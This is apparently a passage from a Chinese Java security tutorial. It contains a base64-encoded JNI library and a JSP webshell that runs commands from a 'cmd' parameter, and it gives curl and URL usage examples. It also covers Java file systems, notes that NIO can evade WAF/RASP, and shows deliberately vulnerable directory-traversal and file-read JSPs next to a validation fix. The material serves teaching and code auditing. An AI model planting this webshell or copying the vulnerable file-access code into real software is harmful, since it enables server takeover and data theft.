AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAESIAXAAAAAARQF9fX2d4eF9wZXJzb25hbGl0eV92MABRcQCQEkBfX19zdGFja19jaGtfZ3VhcmQAkEBkeWxkX3N0dWJfYmluZGVyAJAAAABAX19aTjdKTklFbnZfMTJOZXdTdHJpbmdVVEZFUEtjAFFyCJBAX19aTjdKTklFbnZfMTdHZXRTdHJpbmdVVEZDaGFyc0VQOF9qc3RyaW5nUGgAkAAAAAAAcgASQF9fVW53aW5kX1Jlc3VtZQCQAHIYEUBfX1pOU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNmFwcGVuZEVQS2MAkAByIBFAX19aTlN0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRUQxRXYAkAByKBFAX19aU3Q5dGVybWluYXRldgCQAHIwEUBfX19jeGFfYmVnaW5fY2F0Y2gAkAByOBJAX19fc3RhY2tfY2hrX2ZhaWwAkAByQBJAX2ZnZXRzAJAAckgSQF9tZW1zZXQAkAByUBJAX3BjbG9zZQCQAHJYEkBfcG9wZW4AkAAAAAAAAAAAAAFfAAUAAkphdmFfY29tX2FuYmFpX3NlY19jbWRfQ29tbWFuZEV4ZWN1dGlvbl9leGVjAENfWk43Sk5JRW52XzEASAMAwBEAAAI3R2V0U3RyaW5nVVRGQ2hhcnNFUDhfanN0cmluZ1BoAH8yTmV3U3RyaW5nVVRGRVBLYwCEAQMEsBUAAwTQFgAAAAAAAAAAwBHwA1AgMEAgEDAgUEAwIBAgEDAQUEAgMCAQIAAAAACrAQAADgEAAAALAAAAAAAA8AEAAA4BAAAgCwAAAAAAADcCAAAOAQAAkAsAAAAAAACBAgAAHgGAALALAAAAAAAAmQIAAA4BAADACwAAAAAAAN4CAAAOAQAA8AsAAAAAAABFAwAADgEAABAMAAAAAAAAjwMAAA4BAABgDAAAAAAAAPYDAAAOAQAAoAwAAAAAAABnBAAADgEAANAMAAAAAAAAqQQAAA4BAADwDAAAAAAAAMUEAAAOAQAAAA0AAAAAAAAwBQAADgEAACANAAAAAAAApQUAAA4BAAAwDQAAAAAAAO4FAAAOAQAAYA0AAAAAAAAXBgAADgEAAHANAAAAAAAAagYAAA4BAADADQAAAAAAALgGAAAOAQAAAA4AAAAAAAAQBwAADgEAACAOAAAAAAAAaQcAAA4BAABQDgAAAAAAANUHAAAOAQAAcA4AAAAAAABLCAAADgEAAIAOAAAAAAAAfAgAAA4BAACgDgAAAAAAAJ4IAAAOBAAAbA8AAAAAAACwCAAADgkAAGAgAAAAAAAAAgAAAA8BAADACAAAAAAAADAAAAAPAYAAUAsAAAAAAABPAAAADwGAALAKAAAAAAAAfAAAAAEAAAIAAAAAAAAAAIwAAAABAAABAAAAAAAAAADYAAAAAQAAAQAAAAAAAAAAHQEAAAEAAAEAAAAAAAAAAC4BAAABAAABAAAAAAAAAABBAQAAAQAAAQAAAAAAAAAAVwEAAAEAAAIAAAAAAAAAAGkBAAABAAACAAAAAAAAAAB8AQAAAQAAAgAAAAAAAAAAgwEAAAEAAAIAAAAAAAAAAIsBAAABAAACAAAAAAAAAACTAQAAAQAAAgAAAAAAAAAAmgEAAAEAAAIAAAAAAAAAABwAAAAaAAAAGwAAAB0AAAAeAAAAHwAAACAAAAAiAAAAJAAAACUAAAAmAAAAJwAAACEAAAAjAAAAKAAAABwAAAAaAAAAGwAAAB0AAAAeAAAAHwAAACAAAAAiAAAAJAAAACUAAAAmAAAAJwAAACAAX0phdmFfY29tX2FuYmFpX3NlY19jbWRfQ29tbWFuZEV4ZWN1dGlvbl9leGVjAF9fWk43Sk5JRW52XzEyTmV3U3RyaW5nVVRGRVBLYwBfX1pON0pOSUVudl8xN0dldFN0cmluZ1VURkNoYXJzRVA4X2pzdHJpbmdQaABfX1Vud2luZF9SZXN1bWUAX19aTlN0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTZhcHBlbmRFUEtjAF9fWk5TdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUVEMUV2AF9fWlN0OXRlcm1pbmF0ZXYAX19fY3hhX2JlZ2luX2NhdGNoAF9fX2d4eF9wZXJzb25hbGl0eV92MABfX19zdGFja19jaGtfZmFpbABfX19zdGFja19jaGtfZ3VhcmQAX2ZnZXRzAF9tZW1zZXQAX3BjbG9zZQBfcG9wZW4AZHlsZF9zdHViX2JpbmRlcgBfX1pOU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFQzFFdgBfX1pOU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFcExFUEtjAF9fWk5LU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNWNfc3RyRXYAX19fY2xhbmdfY2FsbF90ZXJtaW5hdGUAX19aTlN0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRUMyRXYAX19aTlN0M19fMTE3X19jb21wcmVzc2VkX3BhaXJJTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRVM1X0VDMUV2AF9fWk5TdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU2X196ZXJvRXYAX19aTlN0M19fMTE3X19jb21wcmVzc2VkX3BhaXJJTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRVM1X0VDMkV2AF9fWk5TdDNfXzEyMl9fY29tcHJlc3NlZF9wYWlyX2VsZW1JTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRUxpMEVMYjBFRUMyRXYAX19aTlN0M19fMTIyX19jb21wcmVzc2VkX3BhaXJfZWxlbUlOU185YWxsb2NhdG9ySWNFRUxpMUVMYjFFRUMyRXYAX19aTlN0M19fMTlhbGxvY2F0b3JJY0VDMkV2AF9fWk5TdDNfXzExN19fY29tcHJlc3NlZF9wYWlySU5TXzEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTVfX3JlcEVTNV9FNWZpcnN0RXYAX19aTlN0M19fMTIyX19jb21wcmVzc2VkX3BhaXJfZWxlbUlOU18xMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU1X19yZXBFTGkwRUxiMEVFNV9fZ2V0RXYAX19aTktTdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU0ZGF0YUV2AF9fWk5TdDNfXzFMMTZfX3RvX3Jhd19wb2ludGVySUtjRUVQVF9TM18AX19aTktTdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUUxM19fZ2V0X3BvaW50ZXJFdgBfX1pOS1N0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTlfX2lzX2xvbmdFdgBfX1pOS1N0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTE4X19nZXRfbG9uZ19wb2ludGVyRXYAX19aTktTdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUUxOV9fZ2V0X3Nob3J0X3BvaW50ZXJFdgBfX1pOS1N0M19fMTE3X19jb21wcmVzc2VkX3BhaXJJTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRVM1X0U1Zmlyc3RFdgBfX1pOS1N0M19fMTIyX19jb21wcmVzc2VkX3BhaXJfZWxlbUlOU18xMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU1X19yZXBFTGkwRUxiMEVFNV9fZ2V0RXYAX19aTlN0M19fMTE0cG9pbnRlcl90cmFpdHNJUEtjRTEwcG9pbnRlcl90b0VSUzFfAF9fWk5TdDNfXzFMOWFkZHJlc3NvZklLY0VFUFRfUlMyXwBHQ0NfZXhjZXB0X3RhYmxlMABfX2R5bGRfcHJpdmF0ZQAA"; 471 | 472 | /** 473 | * 获取JNI链接库目录 474 | * @return 返回缓存JNI的临时目录 475 | */ 476 | File getTempJNILibFile() { 477 | File jniDir = new File(System.getProperty("java.io.tmpdir"), "jni-lib"); 478 | 479 | if (!jniDir.exists()) { 480 | jniDir.mkdir(); 481 | } 482 | 483 | return new File(jniDir, "libcmd.lib"); 484 | } 485 | 486 | /** 487 | * 写JNI链接库文件 488 | * @param base64 JNI动态库Base64 489 | * @return 返回是否写入成功 490 | */ 491 | void writeJNILibFile(String base64) throws IOException { 492 | if (base64 != null) { 493 | 494 | File jniFile = getTempJNILibFile(); 495 | 496 | if (!jniFile.exists()) { 497 | byte[] bytes = new BASE64Decoder().decodeBuffer(base64); 498 | 499 | if (bytes != null) { 500 | FileOutputStream fos = new FileOutputStream(jniFile); 501 | fos.write(bytes); 502 | fos.flush(); 503 | fos.close(); 504 | } 505 | } 506 | } 507 | } 508 | %> 509 | <% 510 | // 需要执行的命令 511 | String cmd = request.getParameter("cmd"); 512 | 513 | // JNI链接库字节码,如果不传会使用"COMMAND_JNI_FILE_BYTES"值 514 | String jniBytes = request.getParameter("jni"); 515 | 516 | // JNI路径 517 | File jniFile = getTempJNILibFile(); 518 | ClassLoader loader = (ClassLoader) application.getAttribute("__LOADER__"); 519 | 520 | if (loader == null) { 521 | loader = new ClassLoader(this.getClass().getClassLoader()) { 522 | @Override 523 | protected Class> findClass(String name) throws ClassNotFoundException { 524 | try { 525 | return super.findClass(name); 526 | } catch (ClassNotFoundException e) { 527 | return defineClass(COMMAND_CLASS_NAME, COMMAND_CLASS_BYTES, 0, COMMAND_CLASS_BYTES.length); 528 | } 529 | } 530 | }; 531 | 532 | writeJNILibFile(jniBytes != null ? jniBytes : COMMAND_JNI_FILE_BYTES);// 写JNI文件到临时文件目录 533 | 534 | application.setAttribute("__LOADER__", loader); 535 | } 536 | 537 | try { 538 | // load命令执行类 539 | Class commandClass = loader.loadClass("com.anbai.sec.cmd.CommandExecution"); 540 | Object loadLib = application.getAttribute("__LOAD_LIB__"); 541 | 542 | if (loadLib == null || !((Boolean) loadLib)) { 543 | Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class); 544 | loadLibrary0Method.setAccessible(true); 545 | loadLibrary0Method.invoke(loader, commandClass, jniFile); 546 | application.setAttribute("__LOAD_LIB__", true); 547 | } 548 | 549 | String content = (String) commandClass.getMethod("exec", String.class).invoke(null, cmd); 550 | out.println("
"); 551 | out.println(content); 552 | out.println(""); 553 | } catch (Exception e) { 554 | out.println(e.toString()); 555 | throw e; 556 | } 557 | 558 | %> 559 | ``` 560 | 561 | `load_library.jsp`默认提供了一个`MacOSX`的`JNI`库字符串Demo其他系统需要自行编译:`com_anbai_sec_cmd_CommandExecution.cpp`,编译方式参考后面的`JNI`章节。`load_library.jsp`接收两个参数:`cmd`和`jni`,参数描述: 562 | 563 | 1. `cmd`需要执行的本地命令 564 | 565 | 2. `jni` 动态链接库文件Base64+URL编码后的字符串(`urlEncode(base64Encode(jniFile))`),`jni`参数默认可以不传但是需要手动修改jsp中的`COMMAND_JNI_FILE_BYTES`变量,`jni`参数只需要传一次,第二次请求不需要带上。 566 | 567 | 浏览器请求: 568 | 569 | http://localhost:8080/load_library.jsp?cmd=ls 570 | 571 | 命令行(POST传jni参数方式): 572 | 573 | ```jsp 574 | curl http://localhost:8080/load_library.jsp?cmd=ifconfig -d "jni=JNI文件编码后的字符串" 575 | ``` 576 | 577 | 浏览器访问`load_library.jsp`执行命令测试: 578 | 579 |  580 | 581 | 这个JNI示例Demo结合了`Java反射`、`ClassLoader机制`、`JNI`三个知识点,相对新手来说会有较大难度,这里不做详细讲解,在后面的对应的章节将做出详细解读。 582 | 583 | ## Java本地命令执行总结 584 | 585 | Java本地命令执行是一个非常高危的漏洞,一旦被攻击者利用后果不堪设想。这个漏洞原理一样是非常简单且容易被发现。开发阶段我们应该尽可能的避免调用本地命令接口,如果不得不调用那么请仔细检查命令执行参数,严格检查(防止命令注入)或严禁用户直接传入命令!代码审计阶段我们应该多搜索下`Runtime.exec/ProcessBuilder/ProcessImpl`等关键词,这样可以快速找出命令执行点。 -------------------------------------------------------------------------------- /gitbook/javase/FileSystem/FileSystem.md: -------------------------------------------------------------------------------- 1 | # Java FileSystem 2 | 3 | 4 | 5 | ## Java IO 文件系统 6 | 7 | Java抽象出了一个叫做文件系统的对象:`java.io.FileSystem`,不同的操作系统有不一样的文件系统,例如`Windows`和`Unix`就是两种不一样的文件系统: `java.io.UnixFileSystem`、`java.io.WinNTFileSystem`。 8 | 9 |  10 | 11 | `java.io.FileSystem`是一个抽象类,它抽象了对文件的操作,不同操作系统版本的JDK会实现其抽象的方法从而也就实现了跨平台的文件的访问操作。 12 | 13 |  14 | 15 | 示例中的`java.io.UnixFileSystem`最终会通过JNI调用native方法来实现对文件的操作: 16 | 17 |  18 | 19 | 由此我们可以得出Java只不过是实现了对文件操作的封装而已,最终读写文件的实现都是通过调用native方法实现的。 20 | 21 | 不过需要特别注意一下几点: 22 | 23 | 1. 并不是所有的文件操作都在`java.io.FileSystem`中定义,文件的读取最终调用的是`java.io.FileInputStream#read0、readBytes`、`java.io.RandomAccessFile#read0、readBytes`,而写文件调用的是`java.io.FileOutputStream#writeBytes`、`java.io.RandomAccessFile#write0`。 24 | 2. Java有两类文件系统API!一个是基于`阻塞模式的IO`的文件系统,另一是JDK7+基于`NIO.2`的文件系统。 25 | 26 | ## Java NIO.2 文件系统 27 | 28 | Java 7提出了一个基于NIO的文件系统,这个NIO文件系统和阻塞IO文件系统两者是完全独立的。`java.nio.file.spi.FileSystemProvider`对文件的封装和`java.io.FileSystem`同理。 29 | 30 |  31 | 32 | NIO的文件操作在不同的系统的最终实现类也是不一样的,比如Mac的实现类是: `sun.nio.fs.UnixNativeDispatcher`,而Windows的实现类是`sun.nio.fs.WindowsNativeDispatcher`。 33 | 34 | 合理的利用NIO文件系统这一特性我们可以绕过某些只是防御了`java.io.FileSystem`的`WAF`/`RASP`。 -------------------------------------------------------------------------------- /gitbook/javase/FileSystem/JavaFileAccess.md: -------------------------------------------------------------------------------- 1 | # Java 文件或目录恶意访问漏洞 2 | 3 | 本章节将讲解与Java文件或目录访问安全性问题。常见的Java文件操作相关的漏洞大致有如下类型: 4 | 5 | 1. 任意目录遍历 6 | 2. 任意文件、目录复制 7 | 3. 任意文件读取/下载 8 | 4. 任意文件、目录修改/重命名 9 | 5. 任意文件、目录删除 10 | 6. ...... 11 | 12 | 我们通常把这类漏洞归为一个类型,因为产生漏洞的原因都是因为程序对文件或目录访问控制不严、程序内部逻辑错误导致的任意文件或目录恶意访问漏洞。 13 | 14 | ## Java 任意目录遍历漏洞 15 | 16 | 任意目录遍历漏洞顾名思义攻击者可以通过漏洞遍历出服务器操作系统中的任意目录文件名,从而导致服务器敏感信息泄漏,某些场景下(如遍历出网站日志、备份文件、管理后台等)甚至可能会导致服务器被非法入侵。 17 | 18 | **Java 任意目录遍历漏洞示例代码:** 19 | 20 | ```jsp 21 | <%@ page import="java.io.File" %><%-- 22 | Created by IntelliJ IDEA. 23 | User: yz 24 | Date: 2019/12/4 25 | Time: 6:08 下午 26 | To change this template use File | Settings | File Templates. 27 | --%> 28 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 29 | <% 30 | // 定义需要遍历的目录 31 | String dirStr = request.getParameter("dir"); 32 | 33 | out.println("
"); 40 | 41 | for (File file : dirs) { 42 | out.println(file.getName()); 43 | } 44 | 45 | out.println(""); 46 | } 47 | 48 | %> 49 | ``` 50 | 51 | 当我们通过不断修改URL中的dir参数即可遍历出制定目录的任意文件,漏洞演示URL:http://localhost:8080/file-list.jsp?dir=/Users 52 | 53 |  54 | 55 | 这个漏洞可能由Web应用本身的开发不规范导致,也有可能是因为`MVC框架`、`项目依赖的第三方库`、`Web服务器自身`导致的。如果是由于自身开发不规范导致的那么需要程序严格控制用户传入目录参数是否合法! 56 | 57 | **检测用户参数合法性代码示例(请根据具体业务需求调整判定逻辑):** 58 | 59 | ```jsp 60 | <%@ page import="java.io.File" %><%-- 61 | Created by IntelliJ IDEA. 62 | User: yz 63 | Date: 2019/12/4 64 | Time: 6:08 下午 65 | To change this template use File | Settings | File Templates. 66 | --%> 67 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 68 | <%! 69 | // 定义限制用户遍历的文件目录常量 70 | private static final String IMAGE_DIR = "/data/images/"; 71 | %> 72 | <% 73 | // 定义需要遍历的目录 74 | String dirStr = request.getParameter("dir"); 75 | 76 | if (dirStr != null) { 77 | File dir = new File(dirStr); 78 | 79 | // 获取文件绝对路径,转换成标准的文件路径 80 | String fileDir = (dir.getAbsoluteFile().getCanonicalFile() + "/").replace("\\\\", "").replaceAll("/+", "/"); 81 | out.println("
"); 88 | 89 | for (File file : dirs) { 90 | out.println(file.getName()); 91 | } 92 | 93 | out.println(""); 94 | } else { 95 | out.println("目录不合法!"); 96 | } 97 | } 98 | 99 | %> 100 | ``` 101 | 102 | 请求遍历非系统限制的目录示例: 103 | 104 |  105 | 106 | 107 | 108 | ## 任意文件读取/编辑/删除漏洞 109 | 110 | 任意文件读写漏洞即因为没有验证请求的资源文件是否合法导致的,此类漏洞在Java中有着较高的几率出现,任意文件读取漏洞原理很简单,但是在这个问题上翻车的有不乏一些知名的中间件:`Weblogic`、`Tomcat`、`Resin`又或者是主流MVC框架:`Spring MVC`、`Struts2`。任意文件读写、下载的逻辑大致是一致的本节不再一一举例。 111 | 112 | **任意文件读取示例代码file-read.jsp:** 113 | 114 | ```jsp 115 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 116 | <%@ page import="java.io.ByteArrayOutputStream" %> 117 | <%@ page import="java.io.File" %> 118 | <%@ page import="java.io.FileInputStream" %> 119 | 120 | <% 121 | File file = new File(request.getParameter("path")); 122 | FileInputStream fis = new FileInputStream(file); 123 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 124 | byte[] b = new byte[1024]; 125 | int a = -1; 126 | 127 | while ((a = fis.read(b)) != -1) { 128 | baos.write(b, 0, a); 129 | } 130 | 131 | out.write("
